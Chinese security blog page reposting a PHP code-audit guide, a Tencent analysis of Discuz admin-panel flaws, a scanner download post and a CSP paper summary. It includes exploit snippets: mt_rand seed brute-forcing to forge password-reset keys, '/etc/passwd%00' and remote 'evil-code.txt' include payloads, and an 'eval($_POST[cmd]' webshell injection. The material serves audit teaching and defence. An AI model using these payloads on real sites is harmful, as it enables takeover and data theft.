2)当magic_quotes_gpc = Off时,在php5.24下测试显示:

aaaa'aaa
bb'b

对于magic_quotes_gpc = Off时所有的变量都是不安全的,考虑到这个,很多程序都通过addslashes等函数来实现魔术引号对变量的过滤,示例代码如下:

<?php //keyvul.php?aaa'aa=1' //magic_quotes_gpc = Off  if (!get_magic_quotes_gpc()) {  $_GET  = addslashes_array($_GET); } function addslashes_array($value) {         return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); } print_R($_GET); foreach ($_GET AS $key => $value) {         print $key; } ?>

以上的代码看上去很完美,但是他这个代码里addslashes($value)只处理了变量的具体的值,但是没有处理变量本身的key,上面的代码显示结果如下:

Array (     [aaa'aa] => 1\'
)
aaa'aa
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

代码注射

PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可以执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...

这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码:

<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
              '; usort($databases, create_function('$a, $b', $sort_function));
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找对应函数(assert,call_user_func,call_user_func_array,create_function等)

变量函数与双引号

对于单引号和双引号的区别,很多程序员深有体会,示例代码:

echo "$a\n"; echo '$a\n';

我们再看如下代码:

//how to exp this code if($globals['bbc_email']){ $text = preg_replace(                 array("/\[email=(.*?)\](.*?)\[\/email\]/ies",                                 "/\[email\](.*?)\[\/email\]/ies"),                 array('check_email("$1", "$2")',                                 'check_email("$1", "$1")'), $text);

另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码

PHP自身函数漏洞及缺陷

PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码如下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

漏洞审计策略
PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名

PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码:

unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){         $uids .= $member['uid'].','; } $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; ........ $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
漏洞审计策略
PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset

session_destroy()删除文件漏洞

测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:

<?php //val.php    session_save_path('./'); session_start(); if($_GET['del']) {         session_unset();         session_destroy(); }else{         $_SESSION['hei']=1;         echo(session_id());         print_r($_SESSION); } ?>

当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

漏洞审计策略
PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy

随机函数

1) rand() VS mt_rand()

<?php //on windows print mt_getrandmax(); //2147483647 print getrandmax();// 32767 ?>

可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

<?php
$a= md5(rand()); for($i=0;$i<=32767;$i++){   if(md5($i) ==$a ) {    print $i."-->ok!!<br>";exit;    }else { print $i."<br>";} } ?>

当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:查找rand

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5) mt_srand -- 播下一个更好的随机数发生器种子 说明 void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

<?php // seed with microseconds function make_seed() {     list($usec, $sec) = explode(' ', microtime());     return (float) $sec + ((float) $usec * 100000); } mt_srand(make_seed()); $randval = mt_rand(); ?> 

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码如下:

<?php ///////////////// //>php rand.php //828682 //828682 //////////////// ini_set("max_execution_time",0); $time=(double) microtime()* 1000000; print $time."\n"; mt_srand ($time); $search_id = mt_rand(); $seed = search_seed($search_id); print $seed; function search_seed($rand_num) { $max = 1000000; for($seed=0;$seed<=$max;$seed++){         mt_srand($seed);         $key = mt_rand();         if($key==$rand_num) return $seed; } return false; } ?>

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:

seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3
seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3

对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录3),测试代码如下:

<?php
mt_srand(4); $a = mt_rand(); mt_srand(5); $b = mt_rand(); print $a."\n".$b; ?>

通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:

<?php //base on http://www.milw0rm.com/exploits/6421  //test on php 5.2.0 define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1 $key = wp_generate_password(20, false); echo $key."\n"; $seed = getseed($key); print $seed."\n"; mt_srand($seed); $pass = wp_generate_password(20, false); echo $pass."\n";        
        function wp_generate_password($length = 12, $special_chars = true) {         $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';         if ( $special_chars )                 $chars .= '!@#$%^&*()';         $password = '';         for ( $i = 0; $i < $length; $i++ )                 $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);         return $password; } function getseed($resetkey) {         $max = pow(2,(32-BUGGY));         for($x=0;$x<=$max;$x++) {                 $seed = BUGGY ? ($x << 1) + 1 : $x;                 mt_srand($seed);                 $testkey = wp_generate_password(20,false);                 if($testkey==$resetkey) { echo "o\n"; return $seed; }                 if(!($x % 10000)) echo $x / 10000;         }         echo "\n";         return false; } ?>

运行结果如下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr 0123456789101112131415161718192021222324252627282930313233343536373839404142434 445464748495051525354555657585960616263646566676869 7071727374757677787980818283848586878889909192939495969798991001011021031041051 061071081091101111121131141151161171181191201211221 2312412512612712812913013113213313413513613713813914014114214314414514614714814 915015115215315415515615715815916016116216316416516 6167168169170171172173174175176177178179180181182183184185186187188189190191192 193194195196197198199200201202203204205206207208209 2102112122132142152162172182192202212222232242252262272282292302312322332342352 362372382392402412422432442452462472482492502512522 ..............01062110622106231062410625106261062710628106291063010631106321063 3o 70693 pjwCrvVt3oobAaOr

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

<?php
mt_srand(42); echo mt_rand(); //php<=5.20 1387371436 //php>5.20 1354439493            ?>

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

漏洞审计策略
PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand

特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:

截断

其中最有名的数大家都熟悉的null字符截断。

include截断
<?php 
include $_GET['action'].".php"; ?>

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

<?php //////////////////// ////var5.php代码: ////include $_GET['action'].".php";  ////print strlen(realpath("./"))+strlen($_GET['action']);   /////////////////// ini_set('max_execution_time', 0); $str=''; for($i=0;$i<50000;$i++) {         $str=$str."/";         $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);         //1.txt里的代码为print 'hi';         if (strpos($resp, 'hi') !== false){                 print $i;                 exit;         } } ?>

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])

数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass     | | 2 | admin      | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username   | password | +----+------------+----------+ | 1 | admin      | pass      | | 2 | admin      | new_pass  | | 3 | admin      | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec)

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

$result = mysql_query("SELECT * from test_user where user='$user' ");   .... if(@mysql_fetch_array($result, MYSQL_NUM)) {         die("already exist"); }
漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:通读代码
文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题:

//Is this code vul? if( eregi(".php",$url) ){         die("ERR"); } $fileurl=str_replace($webdb[www_url],"",$url); ..... header('Content-Disposition: attachment; filename='.$filename);

很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了个str_replace替换$webdbwww_url为空,那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂fix呢?有人给出了如下代码:

$fileurl=str_replace($webdb[www_url],"",$url); if( eregi(".php",$url) ){         die("ERR"); }

str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:

<?php for($i=0;$i<255;$i++) {         $url = '1.ph'.chr($i);         $tmp = @file_get_contents($url);         if(!empty($tmp)) echo chr($i)."\r\n"; }   ?>

我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。

漏洞审计策略
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数

怎么进一步寻找新的字典

上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢?

  • 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典
  • 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式
  • fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分很多都可以简单的fuzz脚本可以测试出来
  • 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会陆续公布一些我们对php源代码的分析)
  • 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
  • 你有什么要补充的吗? :)

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt
PHP版本要求:php4 php5<5.2.6
系统要求: 无
审计策略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5 ./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name); ./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; ./include/global.func.php-696-} ./include/global.func.php-697- ./include/global.func.php-698-function random($length, $numeric = 0) { ./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); ./include/global.func.php-700-  if($numeric) { ./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); ./include/global.func.php-702-  } else { ./include/global.func.php-703-          $hash = ''; ./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; -- ./include/discuzcode.func.php-30- ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) { ./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; ./include/discuzcode.func.php-33-} ./include/discuzcode.func.php-34- ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000); ./include/discuzcode.func.php-36- ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) { ./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml; ./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid]; ./include/discuzcode.func.php-40-       if($attach['attachimg']) {

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判断了版本,如果是PHP_VERSION > '4.2.0'使用php本身默认的播种。从上一章里的分析我们可以看得出来,使用php本身默认的播种的分程序两种情况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了类似mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的可以自己分析下])

2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默认播种的算法也不是很强悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。

后话

本文是80vul的三大马甲:80vul-A,80vul-B,80vul-C集体智慧的结晶,尤其是80vul-B贡献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者,没有他们的成果也就没有本文。本文没有写“参考”,因为本文是一个总结性的文挡,有太多的连接需要提供限于篇幅就没有一一列举,有心的读者可以自行google。另外原本没有打算公布此文,因为里面包含了太多应用程序的0day,而且有太多的不尊重别人成果的人,老是利用从别人那学到的技术来炫耀,甚至牟取利益。在这里我们希望你可以在本文里学到些东西,更加希望如果通过本文你找到了某些应用程序的0day,请低调处理,或者直接提交给官方修补,谢谢大家!!

附录

[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/

[3] http://bugs.php.net/bug.php?id=40114

原文地址:https://code.google.com/p/pasc2at/wiki/SimplifiedChinese



admin 发布于  2015-8-1 11:29 

【转自TSRC】浅谈开源web程序后台的安全性 网络安全

前言

       不知怎的最近甚是思念校园生活,思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子,喜欢看别人写的一些关于安全技巧或经验的总结;那时BBS上很多文章 标题都是:成功渗透XXX,成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题,我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序,(1)青年使用一个joomla已经公开的漏洞进入web后台(2)青年使用joomla后台上传限制不严的缺陷上传了一个 webshell3)控制主机赠送我国国旗。
        
原来入侵一台主机如此容易,管理员果断给web程序打上安全补丁。管理员的工作是结束了,作为安全从业人员再一想是不是joomla后台这里可以上 传webshell是不是有问题呢,如果joomla后台不能上传webshell,是不是可以减少入侵的可能和损失。下面进入本文的主题:web后台程 序的安全性。

二、简介

        
国内很多站点都是基于开源论坛、cms搭建的,比如discuzphpwinddedecms等。这些程序都是国内开源web程序中的佼佼者, 也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数,此外用户数据泄漏事 件时而发生,单纯靠密码防护的后台被突破,被社工的可能性越来越大。获取一个管理后台密码后,再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得 到一个shell,窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
       Discuz
是一款流行的论坛程序,笔者这里就以它的后台程序为例简单分析一下其安全性,下面直接看一些漏洞案例(Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101)。

三、案例分析

Tips
:下文提到的$settingnewdiscuz后台存储表单数据的变量,后台用户可控。

案例一:用户输入数据过滤逻辑不当

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

01

<code id="code0">// 1alice修改$settingnew['extcredits']非数组

02

if(is_array($settingnew['extcredits'])) {


03

foreach($settingnew['extcredits'] as $key => $value) {

04

// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换


05

$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]);

06

... 省略 ...


07

for($i = 1; $i <= 8; $i++) {

08

// 3 phpinfo();被赋值给$initformula


09

$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula);

10

}


11

// 4phpinfo()带入eval执行

12

eval("\$_G['setting']['initcredits'] = round($initformula);");</code>

案例二:二次注入

        简单介绍一下二次注入,恶意用户aliceA处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

1

// 1alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库

2

if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) {

3

$seccoderoot = 'static/image/seccode/font/en/';

4

} elseif($settingnew['seccodedata']['type'] == 1) {

5

$seccoderoot = 'static/image/seccode/font/ch/';

6

}漏洞文件:source\module\misc\misc_seccode.php

01

// 2$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx

02

if(!is_numeric($_G['setting']['seccodedata']['type'])) {

03

$etype = explode(':', $_G['setting']['seccodedata']['type']);

04

if(count($etype) > 1) {

05

// 3 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)

06

$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';


07

... 省略 ...

08

if(file_exists($codefile)) {

09

// 4、图片木马被include得到webshell

10

@include_once $codefile;

案例三:程序升级新增逻辑导致的漏洞

漏洞文件:X3\source\admincp\admincp_adv.php

01

// 1alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转)

02

$type = $_GET['type'];

03

... ...

04

if($type) {

05

//2、得到$etype1.gif\0

06

$etype = explode(':', $type);

07

if(count($etype) > 1) {

08

//3$advfile值被\0截断,为图片木马路径1.gif

09

$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';

10

$advclass = 'adv_'.$etype[1];


11

}

12

... 省略 ...

13

//4、包含图片木马,得到webshell

14

if(file_exists($advfile)) {

15

require_once $advfile;

对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。

1

$type = $_GET['type'];

2

$target = $_GET['target'];

3

$typeadd = '';

4

if($type) {

5

$advfile = libfile('adv/'.$type, 'class');

6

if(file_exists($advfile)) {

7

require_once $advfile;

案例四:漏洞修补不完善

漏洞文件:X3\api\uc.php

分析:

01

//1config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server');

02

$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));

03

... ...

04

//2$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。

05

$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile);

06

//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件


07

if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {

08

       @fwrite($fp, trim($configfile));

09

       @fclose($fp);

10

}

11

//4 alice再次传入$UC_API的值为xyzpreg_replace使用的正则表达式是define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell

这个问题早在2010年外部已经公开,官方已及时发出补丁
详情请参考:http://www.oldjun.com/blog/index.php/archives/76/

四、总结

       上面这些例子主要是笔者实践经验的一些总结,不一定全面,希望能给大家拓展一些思路;比如上述提到的二次注 入,$settingnew['seccodedata']['type']这个变量没过滤,$settingnew的其他数组也可能没过滤,也确实存在 多处类似的问题,大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向:(1)危险函数向上追踪输入;(2)追踪用户输入是否进入危险函数;这里 的危险函数关于危险函数主要包括代码执行相关:evalassert,文件包含:includerequire等,命令执行:systemexec 等,写文件:fwritefile_put_contents等;

代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html

五、反思

1、一切输入都是有害的;
后台程序的用户输入相比前台主要增加了后台表单的数据,此外有些后台支持上传文件(dz1.5的自定义sql),上传文件的内容也属于输入;这些输入都属于用户范围。一定要做严格的控制和过滤。

2
、安全意识;
其实很多漏洞的产生并不是技术问题导致的,而是我们缺乏安全意识,不重视安全而酿成的惨剧。尤其是第三个和第四个,完全不应该发生;需要对开发人员做安全宣导和基本的安全培训。

3
、漏洞Review
1)开发人员收到漏洞后要对漏洞产生的原因做总结,并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞 点,另外一处代码有类似的问题没修补继续爆出漏洞,无穷无尽。这样做还会带来更大的隐患,黑客是非常乐意并擅长总结反思的,每一个补丁其实也是给黑客拓展 了思路,如果修补不完全后果很严重。
2)开发人员修补完成后安全人员需要进行测试确认,上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引,这样也可以提高工作效率。


admin 发布于  2015-8-1 11:19 

WebCruiser Web Vulnerability Scanner 3.5.3 注册码+软件+PDF说明+使用指南 安全工具

Web安全扫描工具WebCruiser - Web Vulnerability Scanner

运行平台:Windows with .Net FrameWork 2.0或以上

界面语言:英文版

功能简介

* 网站爬虫(目录及文件);

* 漏洞扫描(SQL注入,跨站脚本,XPath注入);

* 漏洞验证(SQL注入,跨站脚本,XPath注入);

* SQL Server明文/字段回显/盲注;

* MySQL字段回显/盲注;

* Oracle字段回显/盲注;

* DB2字段回显/盲注;

* Access字段回显/盲注;

* 管理入口查找;

* GET/Post/Cookie 注入;

* 搜索型注入延时;

* 自动从自带浏览器获取Cookie进行认证;

* 自动判断数据库类型;

* 自动获取关键词;

* 多线程;

* 高级:代理、敏感词替换/过滤;

* 报告;

2015-05-14-20.png

与其他的Web安全扫描软件相比较有以下特点:


Web漏洞扫描器webcruiser Web漏洞

扫描仪主要集中在高风险漏洞webcruiser可以

扫描指定的漏洞类型或指定的URL

指定独立页面别的工具通常不能.

2015-05-14-36.png

注册码:  

[email protected]

下载地址:链接:http://pan.baidu.com/s/1sjNsnG5 密码:nrvb

官方下载:http://www.janusec.com/downloads/




admin 发布于  2015-5-14 17:44 

deDacota:通过自动化分离数据和代码防御服务端XSS漏洞 渗透测试

原文题目:deDacota: Toward Preventing Server-Side XSS via Automatic Code and Data Separation

原文地址:http://cs.ucsb.edu/~adoupe/static/dedacota-ccs2013.pdf

以下为译文:


Web应用持续受到各种方式的攻击。跨站脚本漏洞是最流行的漏洞之一,产生原因是不被信任的恶意数据通过浏览器提交给应用,并且被解释为程序代码,最终被浏览器执行,造成攻击。本文介绍一种方法可以高效、自动重写应用代码,实现分离网页代码和内联JS脚本,应用CSP策略避免跨站脚本漏洞的产生。

一、跨站脚本漏洞:

跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容, 使得其他网站用户在观看此网页时,这些代码注入到了用户的浏览器中执行,导致用户受到攻击。一般而言,利用跨站脚本攻击,攻击者可窃会话COOKIE从而窃取网站用户的隐私,包括密码。

跨站漏洞从利用方式来说分为反射性漏洞和存储型漏洞,发生原因是服务端对用户输入的数据没有进行适当的过滤,导致发送给浏览器的网页携带恶意脚本,从而产生漏洞。从跨站脚本产生的位置不同,又可以分为客户端跨站漏洞和服务端跨站漏洞。客户端跨站漏洞的产生不依赖于用户提交到服务器的数据,也称之为DOM-XSS漏洞。而服务端跨站漏洞依赖于用户提交到服务器的数据,本文主要的研究内容就是如何通过分离网页代码和内联JS脚本,并应用CSP的方式阻止服务端XSS攻击。

二、内容安全策略(CSP)

为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP 以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离网页代码和内联JS脚本,帮助网站支持CSP技术从而避免潜在的跨站攻击。

三、内联JS分离技术

内联JS分离技术包含三个主要步骤:

1、 静态分析网页代码的HTML输出。

2、 从HTML页面抽取出全部内联JavaScript代码。

3、 重写应用代码以便于适应分离的内联JavaScript代码。

